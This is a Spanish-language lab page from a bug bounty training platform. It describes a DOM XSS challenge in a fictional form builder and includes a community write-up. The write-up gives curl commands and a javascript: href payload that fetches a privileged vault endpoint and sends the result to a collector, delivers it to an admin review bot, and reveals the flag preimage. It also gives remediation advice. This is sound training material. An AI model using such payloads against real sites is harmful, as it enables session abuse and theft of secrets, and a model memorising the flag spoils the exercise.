BBLABS v2BBLABSv2
>Inicio>Labs
>New labs

Últimos 3 labs

Cargando…

Ver todos los labs →
>Creators>Ranking
>Aprender

Aprender bug bounty

AcademyGuías, cheatsheets y diccionarioVulnerabilidadesXSS, SQLi, IDOR, SSRF y másHunter RoadmapTu ruta de bug bounty paso a pasoBlogGuías y noticias de bug bounty
>Empresa>Precios
EN
AccederAcceder
>Inicio>Labs>New labs>Creators>Ranking>Aprender>Empresa>Precios
EN
Iniciar SesiónCrear Cuenta
  1. Inicio
  2. Labs
  3. DOM XSS en un runtime de formularios embebibles (inyección de esquema de URL)
Media$15030 min

DOM XSS en un runtime de formularios embebibles (inyección de esquema de URL)

Por @gorka

Formwave es un SaaS low-code ficticio que renderiza formularios dinámicos a partir de un schema JSON compartido por URL.

116 visitas3 completadosActualizado ago 2026
Iniciar sesión para empezar

Aprende a encontrar este bug

Este bug pagó $150 en YesWeHack.

Crea tu cuenta y practica bugs reales que se pagaron. Descarga el entorno, encuéntralo y aprende la técnica exacta — tu camino a tu primer bounty.

hunters entrenando
650

hunters entrenando

labs de reportes reales
50

labs de reportes reales

completaciones
380

completaciones

en bounties practicados
$200.000

en bounties practicados

40 flags capturadas esta semana
Crear cuenta
Ya tengo cuenta

Acceso a todos los labs · sin permanencia · cancela cuando quieras

Hunters que lo han resuelto· 3

flyingwhales1
@flyingwhalesHace 1 día
VA2
@vazquezdv182005Hace 3 días
w4tchw0lf3
@w4tchw0lfHace 3 días

Objetivos

1
Identificar la superficie de render de formularios
2
Confirmar que el `href` de un campo link se asigna al ancla sin validar el esquema de URL
3
Descartar el decoy: el redirect tracker `/go?to=` sí valida `http(s)` y rechaza esquemas no-web con 400
4
Weaponizar el `href` para que, al ejecutarse en una sesión privilegiada
5
Entregar el formulario al revisor de Trust & Safety (`POST /api/review/tickets`)

Información

Plataforma
YesWeHack
Dificultad
Media
Duración
30 min
Bounty
$150
Completados
3
Creador
gorka@gorka
Colaboradores
antoniorivera@antoniorivera
Actualizado
ago 2026

Descarga el entorno

Reprodúcelo y encuentra el bug tú mismo

Crear cuenta

Herramientas

Burp SuiteNavegador

Prerequisitos

  • Conocimineto DOM XSS
  • Concepto Sink Source

Tags

XSS

Logro que recibirás

Cuando resuelvas este lab desbloqueas este logro compartible

BBLABS.ESLab Resuelto
Media$150
// achievement_unlocked

DOM XSS en un runtime de formularios embebibles (inyección de esquema de URL)

XSS
ago 2026
gorka
solved_by@gorkaMiembro desde mar 2026
bblabs.es// real bug bounty practice

Writeups de la comunidad

Formwave es un producto low-code ficticio (Express 4.21 + TypeScript 5.7 + better-sqlite3 + React 18 + Vite + puppeteer-core, puerto 1701) para construir formularios dinámicos. Cada formulario es un documento JSON (schema) con una lista de campos; el producto lo comparte y previsualiza por URL. El estado del reto (usuarios, formularios, tickets de revisión, sink de exfil) cabe en SQLite, por eso es single-service.

Recibes acceso de staging con una cuenta de constructor. Puedes navegar tus formularios y los publicados del workspace, abrirlos en el Constructor, generar enlaces de compartición y enviarlos a revisión. En el Panel verás además una tarjeta con el "Token de seguridad del workspace" que a tu sesión de constructor le sale como restringido (HTTP 403): solo las sesiones de Trust & Safety pueden leerlo. El ámbito del pentesting es la app de Formwave en http://localhost:1701; el objetivo es leer ese token privilegiado sin tener nunca sus credenciales.

La pieza central del producto es el runtime de embed: GET /render?schema=<base64url(json)> es una página independiente que reconstruye un formulario a partir del schema que viaja en la URL — el mismo código que un cliente embebe en su propio sitio. El Constructor genera esos enlaces (botones "Abrir vista previa" y "Copiar enlace"), así que no hay que adivinar ni el endpoint ni el parámetro ni la forma del schema.

Trust & Safety, el equipo interno de revisión, funciona como un bot: cada pocos segundos hace login como admin, saca de la cola los formularios enviados a revisión, los abre en un Chromium headless con la sesión admin y hace clic en cada enlace de acción para verificar que apuntan a un destino legítimo. Ese comportamiento — abrir tu contenido y hacer clic en tus CTA con una sesión privilegiada — es la ventana que hay que aprovechar.

Capa vulnerable — el href de un campo link sin allowlist de esquema

El runtime (server/src/routes/render.ts) recorre schema.fields y renderiza cada campo. Para los campos normales (text, email, textarea, select) crea el elemento y asigna la etiqueta con textContent — datos controlados por el autor, pero inertes en ese contexto (no es un vector). Para un campo link crea un <a> y hace:

a.textContent = f.label || 'Open link';
a.href = f.href || '#';

El href sale directo de schema.fields[].href (dato controlado por quien construye el formulario) y no pasa por ninguna allowlist de esquema. Formwave admite deliberadamente destinos arbitrarios en los CTA (mailto:, tel:, deep links, rutas in-app), así que el runtime asigna el href tal cual en lugar de forzarlo por el reescritor http(s) que sí usa el redirect tracker del dashboard. Consecuencia: un href con esquema javascript: queda como a.href = "javascript:…", y al hacer clic el navegador ejecuta ese código en el origen de Formwave. El único vector es el esquema del href — no hay breakout de atributo ni innerHTML.

La CSP que acompaña al runtime (EMBED_CSP) es legacy y permisiva (script-src 'self' 'unsafe-inline' 'unsafe-eval'), pensada para clientes que inlinean snippets de analítica; no restringe la ejecución de un javascript: URL.

Decoy honesto

GET /go?to=<url> es el redirect tracker del dashboard: valida que el destino sea http:/https: y devuelve 400 para cualquier otro esquema. Es la contraparte "correcta" del sink: sirve para que el atacante compare y concluya que la ausencia de validación en /render es específica del campo link, no del producto entero.

Cadena de explotación paso a paso

  1. Login y recon. Autentícate como attacker@formwave.test / password123.

    • En el Panel verás las tiles de formularios (cada una con botón "Vista previa" que apunta a /render?schema=…) y la tarjeta del "Token de seguridad del workspace" mostrando algo como restringido — HTTP 403. Eso te dice tres cosas: existe el runtime /render?schema=, hay campos link, y la flag vive en GET /api/vault, legible solo por la sesión admin/revisor.
    • Compruébalo a mano:
      BASE=http://localhost:1701
      TOKEN=$(curl -s $BASE/api/auth/login -H 'Content-Type: application/json' \
        -d '{"email":"attacker@formwave.test","password":"password123"}' | jq -r .token)
      curl -s -o /dev/null -w '%{http_code}\n' $BASE/api/vault -H "Authorization: Bearer $TOKEN"
      # 403
      
  2. Descubrir el sink. Abre el Constructor (/builder). Trae por defecto un campo link (CTA) con un campo "URL del enlace (href)". Pon como href:

    javascript:alert(document.domain)
    

    Pulsa "Abrir vista previa" (abre /render?schema=<b64>) y haz clic en el CTA. Se ejecuta JS en el origen de Formwave → confirmado: el href no valida esquema. La preview te da feedback inmediato (lo ejecutas tú, lo ves tú).

    • Contrasta con el decoy: curl -s -o /dev/null -w '%{http_code}\n' "$BASE/go?to=javascript:alert(1)" devuelve 400. /go valida esquema; /render no.
  3. Weaponizar. Cambia el href del campo link por un payload que lea el flag store y lo exfiltre al sink same-origin /collect:

    javascript:fetch('/api/vault').then(r=>r.text()).then(d=>fetch('/collect?data='+encodeURIComponent(d)))
    

    El Constructor regenera automáticamente el enlace de compartición (/render?schema=<b64url>) con ese schema. /api/vault te devuelve 403 a ti, pero devolverá 200 en el contexto del revisor admin.

  4. Entregar al revisor. Pulsa "Enviar a revisión (Trust & Safety)" (o pega el enlace en la página Revisión y "Enviar a revisión"). Esto hace POST /api/review/tickets {link}. En el próximo ciclo (cada ~8 s) el bot:

    • hace login como admin y saca tu ticket de la cola,
    • abre tu /render?schema=… en un Chromium headless con la cookie formwave_session de admin,
    • hace clic en todos los anchors #fw-form a (incluido tu CTA) → tu javascript: corre en su contexto → fetch('/api/vault') devuelve 200 → exfiltra la respuesta a /collect,
    • marca el ticket como reviewed.
    • El estado del ticket pasando de new a reviewed en la tabla de Revisión te confirma que el paso ciego avanzó.
  5. Recoger. Abre la página Colector (/collect/log, con auto-refresh). Cuando el bot dispare, aparecerá la respuesta de /api/vault con la FLAG{…} resaltada.

    • A mano: curl -s $BASE/collect/log -H "Authorization: Bearer $TOKEN" | jq -r '.entries[].data' | grep -oE 'FLAG\{[a-f0-9]{32}\}'.

La flag vive detrás de la vuln. GET /api/vault es 403 al jugador y 200 solo a role=admin — y la única sesión admin del sistema es el bot revisor. La flag no está en el bundle cliente, ni en variables de entorno expuestas al navegador, ni en respuestas anónimas. El único camino es conseguir que el javascript: corra en el contexto del revisor.

Remediación

  • Allowlist de esquema en el sink real: al asignar a.href desde datos del autor, permitir solo un conjunto explícito de esquemas seguros (http:, https:, mailto:, tel:) y rechazar/normalizar el resto — igual que ya hace el redirect tracker /go.
  • Neutralizar javascript: (y data:, vbscript:): cualquier valor que no matchee un esquema permitido se reemplaza por about:blank o #.
  • CSP efectiva en el runtime de embed: retirar unsafe-inline/unsafe-eval y, sobre todo, no confiar en la CSP como única defensa contra javascript: URLs (una CSP estricta con script-src 'self' no bloquea la ejecución de un javascript: href por sí sola en todos los navegadores; la defensa primaria es la validación del esquema).
  • Restringir el gadget: mantener la allowlist same-origin del bot (ya la tiene) y limitar qué elementos "clicka" o si debe seguir esquemas no-web.
  • Aislar el flag store: seguir sirviendo /api/vault solo a role=admin y no exponer secretos en superficies que el bot pueda alcanzar.

El walkthrough interactivo (con botones "Run" paso a paso) se sirve en http://localhost:1701/writeup; la versión "solo pistas" está en CHALLENGE.md.

Flag

La flag tiene formato FLAG{md5(<preimage>)}.

Preimagen (en flag/verify.sh, fuera del build context del Docker):

formwave::link_field_href::javascript_scheme_injection::review_bot_admin_exfil::2026

Verifica localmente:

echo -n 'formwave::link_field_href::javascript_scheme_injection::review_bot_admin_exfil::2026' | md5sum
# aebe5cf11fc7a914511b136c7d521203  →  FLAG{...}
# o
bash flag/verify.sh

Contacto

Practica, aprende y hackea

Plataforma de práctica de bug bounty con labs basados en reportes reales. Aprende hacking ético en entornos seguros.

contactar→

Síguenos

YouTube
@0xGorka
X
@gorkaelbochi
LinkedIn
gorka-el-bochi-morillo
Instagram
@_.gorkaaa.b
Email
team@bblabs.es

Accede a todos los labs desde 7,99€/mes

Nuevos labs cada semana. Cancela cuando quieras.

Crear cuenta

BBLabs es la plataforma de laboratorios de bug bounty en español donde aprender bug bounty con vulnerabilidades reales extraídas de reportes pagados en HackerOne, Bugcrowd e Intigriti. Aquí practicas hacking web —XSS, SQLi, IDOR, SSRF, CSRF y más— en entornos descargables, capturas la flag, lees el writeup y aplicas la técnica en programas activos de bug bounty.

BBLabs es la alternativa en español a HackTheBox, TryHackMe y PentesterLab para quienes quieren practicar bug bounty con reportes reales en lugar de CTFs artificiales. Desde 7,99€/mes, sin permanencia.

→ Aprender bug bounty desde cero→ Cómo hacer bug bounty paso a paso→ Reportes de bug bounty reales→ BBLabs para empresas y academiasLabsAcademyVulnerabilidadesHerramientasRanking de huntersLabs de XSSLabs de IDORLabs de SSRFLabs de CSRFHackTheBox alternativaHack4u alternativaTryHackMe alternativaPortSwigger alternativaPentesterLab alternativaBug Bounty Labs comparativaHackerOne para practicarOffSec / OSCP alternativaINE / eWPT alternativaHTB Academy alternativaDVWA alternativaJuice Shop alternativaVulnHub alternativaPentesterAcademy alternativaRoot-Me alternativaHackTheBox vs TryHackMeMejores plataformas bug bounty 2026BlogSpoilers¿Qué es el bug bounty?¿Cuánto se gana en bug bounty?OWASP Top 10 explicadoMejores webs para practicar hacking webCómo ser hacker ético desde ceroTutorial de Burp Suite en españolOSCP en español: guía y preparaciónGoogle Dorks para bug bountyCuánto gana un hacker ético en EspañaHerramientas de bug bounty 2026Mejores certificaciones de ciberseguridad 2026Burp Suite tutorialsqlmap tutorialffuf fuzzing webnuclei tutorialHTTP Request SmugglingWAF bypassPrompt injection (LLM)Google Dorks
Hecho cony código
TérminosPrivacidadComparativaEN

© 2026 BBLABS v2 — Todos los derechos reservados